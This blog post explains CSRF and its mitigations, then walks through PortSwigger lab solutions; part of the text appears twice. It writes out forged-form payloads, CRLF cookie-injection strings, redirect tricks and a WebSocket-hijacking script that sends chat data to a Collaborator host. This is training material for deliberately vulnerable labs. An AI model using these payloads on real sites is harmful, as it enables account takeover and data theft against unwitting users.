Sitemap

CSRF

13 min readMar 24, 2025

--

Vulnerability Explanation

Cross-Site Request Forgery (CSRF) is a type of web security.
vulnerability that allows an attacker to induce users to perform
actions they did not intend to perform. This occurs when a
malicious website, email, or program causes a user’s web
browser to execute an unwanted action on a trusted site where
The user is authenticated.

CSRF attacks exploit the trust that a web application has in the
user’s browser. When a user is authenticated to a web
application, the application cannot distinguish between a
legitimate request from the user and a forged request from an
attacker. This is because the browser automatically includes
any relevant credentials (such as session cookies) with each
request to the site.

For example, if a user is logged into their online banking account
and visits a malicious website, the malicious site could send a
request to the banking site to transfer funds. If the banking site
does not have proper CSRF protections, the request would be
processed as if it were a legitimate request from the user.

Severity

CSRF vulnerabilities are typically classified as medium to high severity, depending on the functionality they can exploit. The severity increases if the vulnerability allows an attacker to perform sensitive actions, such as changing account settings, transferring funds, or modifying data. In some cases, CSRF can lead to full account compromise or unauthorized access to critical systems.

Impact

The impact of a CSRF vulnerability can be significant, including:

  • Unauthorized Actions: Attackers can perform actions on behalf of the victim, such as changing passwords, making purchases, or transferring funds.
  • Data Manipulation: Attackers can modify or delete data, leading to data integrity issues.
  • Account Takeover: In some cases, CSRF can be combined with other vulnerabilities to fully compromise a user’s account.
  • Reputation Damage: If exploited, CSRF can lead to a loss of trust in the affected application or organization.

Recommendations

To mitigate CSRF vulnerabilities, the following measures should be implemented:

  1. Use Anti-CSRF Tokens:

a. Implement unique, unpredictable tokens for each user session.

b. Include these tokens in all forms and sensitive requests.

c. Validate the token on the server side for every state-changing request.

2. SameSite Cookies:

a. Set the SameSite attribute for cookies to Strict or Lax to prevent cookies from being sent in cross-site requests.

b. This helps mitigate CSRF attacks by ensuring cookies are only sent in first-party contexts.

3. Check the Origin Header:

a. Validate the Origin or Referer header in incoming requests to ensure they originate from trusted sources.

b. Reject requests with missing or mismatched headers.

4. Use Custom Headers:

a. Require custom headers (e.g., X-Requested-With) for sensitive requests.

b. Since browsers enforce the Same-Origin Policy, attackers cannot add custom headers in cross-site requests.

5. Limit Session Duration:

a. Reduce the lifespan of session cookies to minimize
the window of opportunity for CSRF attacks.

b. Implement session timeouts and re-authentication for
sensitive actions.

6. Educate Users:

a. Advise users to log out of sensitive applications when
not in use.

b. Encourage the use of browser extensions that block
CSRF attacks.

7. Regular Security Testing:

a. Conduct regular security assessments, including
penetration testing and code reviews to identify and
remediate CSRF vulnerabilities.

And now we are going to solve labs in PortSwigger.

Lab 1: CSRF vulnerability with no defenses

• Log in to your account and change your email.

• Then go to Burp and send a change email request to the repeater.
and click on generate CSRF POC” like that.

Press enter or click to view image in full size
  • If you do not have a Burp Pro copy, that <form method=”POST” action=”https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type=”hidden” name=”email” value=”anything%40web-security-academy.net”> </form> <script> document.forms[0]. submit(); </script>
  • Just put this in the exploit server, change the email, and press “Deliver to the victim. You solve the lab.

Lab 2: CSRF where token validation depends on request method

  • Go log in and change your email.
  • Then go to Burp and send the request of changing the email to the repeater.
  • The request has a CSRF token, so we’re going to try to change the request method to GET by right-clicking and changing it.
  • Now the server does not check the CSRF token, so put a random value in the CSRF token.
  • And generate a CSRF PoC.
  • Put the HTML code in the exploit server, and you solve the lab.

Lab 3: CSRF where token validation depends on the token being present

  • Go log in and change your email.
  • And send the request to the repeater.
  • And you will notice that if you delete the CSRF, the server will accept the request.
  • Sooo, we are going to generate a CSRF PoC of that.

Send it to the victim, and you will solve the lab.

Lab 4: CSRF where the token is not tied to the user session

  • Log in to your first account, change your email, generate a CSRF POC, and keep it.
  • And log in to see your account in another tab, and turn intercept on and change your email and copy the CSRF token and drop the request.
  • Now put the CSRF token in the CSRF POC exploit server, and you solve the lab.

Lab 5: CSRF where the token is tied to a non-session cookie

  • Log in to your first and second accounts.
  • And you will notice that if you replace the CSRF key and the CSRF token, the server will accept the change.
Press enter or click to view image in full size
  • Now go to the search bar and search for anything and look at the request.
  • We go to change the search to /?search=hat%0d%0aSet-
    Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
  • In csrfkey, put Carlos’s csrfkey.
Press enter or click to view image in full size
  • So now go to the wiener request and generate a CSRF POC and change the wiener CSRF to
    Carlo CSRF
  • And add this line. <img src=”https://YOUR-LAB-ID.web- security-academy.net/?search=test%0d%0aSet- Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None” onerror=”document.forms[0].submit()”>
  • Paste the HTML code, and you solve the lab.

CSRF

Vulnerability Explanation

Cross-Site Request Forgery (CSRF) is a type of web security.
vulnerability that allows an attacker to induce users to perform
actions they did not intend to perform. This occurs when a
malicious website, email, or program causes a user’s web
browser to execute an unwanted action on a trusted site where
The user is authenticated.

CSRF attacks exploit the trust that a web application has in the
user’s browser. When a user is authenticated to a web
application, the application cannot distinguish between a
legitimate request from the user and a forged request from an
attacker. This is because the browser automatically includes
any relevant credentials (such as session cookies) with each
request to the site.

For example, if a user is logged into their online banking account
and visits a malicious website, the malicious site could send a
request to the banking site to transfer funds. If the banking site
does not have proper CSRF protections, the request would be
processed as if it were a legitimate request from the user.

Severity

CSRF vulnerabilities are typically classified as medium to high severity, depending on the functionality they can exploit. The severity increases if the vulnerability allows an attacker to perform sensitive actions, such as changing account settings, transferring funds, or modifying data. In some cases, CSRF can lead to full account compromise or unauthorized access to critical systems.

Impact

The impact of a CSRF vulnerability can be significant, including:

  • Unauthorized Actions: Attackers can perform actions on behalf of the victim, such as changing passwords, making purchases, or transferring funds.
  • Data Manipulation: Attackers can modify or delete data, leading to data integrity issues.
  • Account Takeover: In some cases, CSRF can be combined with other vulnerabilities to fully compromise a user’s account.
  • Reputation Damage: If exploited, CSRF can lead to a loss of trust in the affected application or organization.

Recommendations

To mitigate CSRF vulnerabilities, the following measures should be implemented:

  1. Use Anti-CSRF Tokens:

a. Implement unique, unpredictable tokens for each user session.

b. Include these tokens in all forms and sensitive requests.

c. Validate the token on the server side for every state-changing request.

2. SameSite Cookies:

a. Set the SameSite attribute for cookies to Strict or Lax to prevent cookies from being sent in cross-site requests.

b. This helps mitigate CSRF attacks by ensuring cookies are only sent in first-party contexts.

3. Check the Origin Header:

a. Validate the Origin or Referer header in incoming requests to ensure they originate from trusted sources.

b. Reject requests with missing or mismatched headers.

4. Use Custom Headers:

a. Require custom headers (e.g., X-Requested-With) for sensitive requests.

b. Since browsers enforce the Same-Origin Policy, attackers cannot add custom headers in cross-site requests.

5. Limit Session Duration:

a. Reduce the lifespan of session cookies to minimize
the window of opportunity for CSRF attacks.

b. Implement session timeouts and re-authentication for
sensitive actions.

6. Educate Users:

a. Advise users to log out of sensitive applications when
not in use.

b. Encourage the use of browser extensions that block
CSRF attacks.

Get Hazem’s stories in your inbox

Join Medium for free to get updates from this writer.

7. Regular Security Testing:

a. Conduct regular security assessments, including
penetration testing and code reviews to identify and
remediate CSRF vulnerabilities.

And now we are going to solve labs in PortSwigger.

Lab 1: CSRF vulnerability with no defenses

• Log in to your account and change your email.

• Then go to Burp and send a change email request to the repeater.
and click on generate CSRF POC” like that.

Press enter or click to view image in full size
  • If you do not have a Burp Pro copy, that <form method=”POST” action=”https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type=”hidden” name=”email” value=”anything%40web-security-academy.net”> </form> <script> document.forms[0]. submit(); </script>
  • Just put this in the exploit server, change the email, and press “Deliver to the victim. You solve the lab.

Lab 2: CSRF where token validation depends on request method

  • Go log in and change your email.
  • Then go to Burp and send the request of changing the email to the repeater.
  • The request has a CSRF token, so we’re going to try to change the request method to GET by right-clicking and changing it.
  • Now the server does not check the CSRF token, so put a random value in the CSRF token.
  • And generate a CSRF PoC.
  • Put the HTML code in the exploit server, and you solve the lab.

Lab 3: CSRF where token validation depends on the token being present

  • Go log in and change your email.
  • And send the request to the repeater.
  • And you will notice that if you delete the CSRF, the server will accept the request.
  • Sooo, we are going to generate a CSRF PoC of that.

Send it to the victim, and you will solve the lab.

Lab 4: CSRF where the token is not tied to the user session

  • Log in to your first account, change your email, generate a CSRF POC, and keep it.
  • And log in to see your account in another tab, and turn intercept on and change your email and copy the CSRF token and drop the request.
  • Now put the CSRF token in the CSRF POC exploit server, and you solve the lab.

Lab 5: CSRF where the token is tied to a non-session cookie

  • Log in to your first and second accounts.
  • And you will notice that if you replace the CSRF key and the CSRF token, the server will accept the change.
Press enter or click to view image in full size
  • Now go to the search bar and search for anything and look at the request.
  • We go to change the search to /?search=hat%0d%0aSet-
    Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
  • In csrfkey, put Carlos’s csrfkey.
Press enter or click to view image in full size
  • So now go to the wiener request and generate a CSRF POC and change the wiener CSRF to
    Carlo CSRF
  • And add this line. <img src=”https://YOUR-LAB-ID.web- security-academy.net/?search=test%0d%0aSet- Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None” onerror=”document.forms[0].submit()”>
  • Paste the HTML code, and you solve the lab.

Lab 6: CSRF where the token is duplicated in the cookie

  • Log in to your account and change your email. Send the request to the repeater, and you will notice that CSRFKey and CSRFToken duplicate
  • So you can put the same random value in csrfkey and csrftoken and the server will be accepted
  • Now go to the search bar and search for anything and look at the request.
  • We go to change the search to /?search=hat%0d%0aSet-
    Cookie:%20csrfKey=random%3b%20SameSite=None
  • And go and generate a CSRF POC and add this line. <img src=”https://0a19004003f2fd0684b9facb005800b7.web-security- academy.net/?search=test%0d%0aSet- Cookie:%20csrf=fake%3b%20SameSite=None” onerror=”document.forms[0].submit();”/>
  • Like this
  • Deliver to the victim, and you solve the lab.

Lab 7: SameSite Lax bypass via method override

  • Log in to your account.
  • and change your email
  • Send the request to the repeater and look at the request.
Press enter or click to view image in full size
  • If we try to change the method to GET, the server will not accept this change.
  • So we’re going to make it like this.

GET /my-account/change-email?email=anything%40web-security-academy.net &_method=POST HTTP/2

  • Generate a CSF POS and put the HTML code in the exploit server, and you solve the lab.

Lab 8: SameSite Strict Bypass via Client-Side Redirect

  • Log in and change your email; you will notice that you can change the request method to GET.
  • Now go to any post and post a comment. You will notice that after you post a comment, the site will redirect you to the post.
  • So we are going to use a redirect to change the email like this.
  • The original request: /post/comment/confirmation?postId=1 We’re going to change it to this: /post/comment/confirmation?postId=../my-account/changemail?email=1111111111%40normal-user.net&submit=1
  • We are going to put this in the URL.
  • When we go for it, we will get that.
  • So now we have to encode & to %26 like that.
  • /post/comment/confirmation?postId=../my-account/changemail?email=anything%40normal-user.net%26submit=1
  • And put this in exploit sever .

<script> document.location = “https://0ad80095043a6a0282f9887500550085.web-security-academy.net/post/comment/confirmation?postId=../my-account/changemail?email=mrh%40web-security-academy.net%26submit=1 “; </script>

  • you solve the lab.

Lab 9: SameSite Strict Bypass via Sibling Domain

  • Go to live chat and talk with him.
  • Then go to exploit server and paste this script: <script> var ws = new WebSocket(‘wss://YOUR-LAB-ID.web-security-academy.net/chat’); ws.onopen = function() { ws.send(“READY”); };ws.onmessage = function(event) { fetch(‘https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: ‘POST’, mode: ‘no-cors’, body: event.data}); };</script>
  • And press store and in view exploit and go to COLLABORATOR and press poll now.
  • You will get that.
  • Now go encode the script to URL coding.
Press enter or click to view image in full size
  • If you look to the target in the JS library, you will see CMS that have a login page.
  • Now paste this script in the exploit server <script> document. location = “https://cms-yOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-S" </script>
  • In the username, put the script coded like that.
  • And click on Deliver Exploit and go to COLLABORATOR and press Poll. Now you will get that.
  • Copy the name and the password and login and you solve the lab

Lab 10: SameSite Lax Bypass via Cookie Refresh

  • Go to login and paste the script in the exploit server. <form method=”POST” action=”https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type=”hidden” name=”email” value=”pwned@portswigger.net”> </form> <p>Click anywhere on the page. <script> window.onclick = () => { window.open(‘https://YOUR-LAB-ID.web-security-academy.net/social-login'); setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } </script>
  • And you will solve the lab.

Lab 11: CSRF where referer validation depends on the header being present

  • Go log in and change your email.
  • Then send the request to the repeater.
  • Then if we delete a part of the referrer
Press enter or click to view image in full size
  • The request will be rejected, but if we delete the referrer, the request will be accepted.
Press enter or click to view image in full size
  • And now send this script to the exploit server. <html><! — CSRF PoC — generated by Burp Suite Professional →<body> <form action=”https://0aca008604c62b0d82ca792400a300c9.web-security-academy.net/my-account/change-email" method=”POST”> <input type=”hidden” name=”email” value=”aaaaaa&#64;normal&#45;user&#46;net” /> <input type=”submit” value=”Submit request” /></form>history.pushState(“, “, ‘/’); document.forms[0]. submit(); </script> </body> </html>
  • And you will solve the lab.

Lab 12: CSRF with broken referer validation

  • Go log in to your account and change your email.
  • Then send the request to the repeater, and if you delete the referrer, the request will not be accepted, so replace it with this: https://arbitrary-incorrect-domain.net? YOUR-LAB-ID.web-security-academy.net
  • And add this to the HTML code: <script>history.pushState(“”, “”, “/?0ada008a0444a6a49cdb592900880023.web-security-academy.net”)</script>
  • And add this Referrer-Policy: unsafe-url in the head like this:
  • And you deliver to the victim, and you solve the lab.

I wish you liked the write-up. Thank you. :)

--

--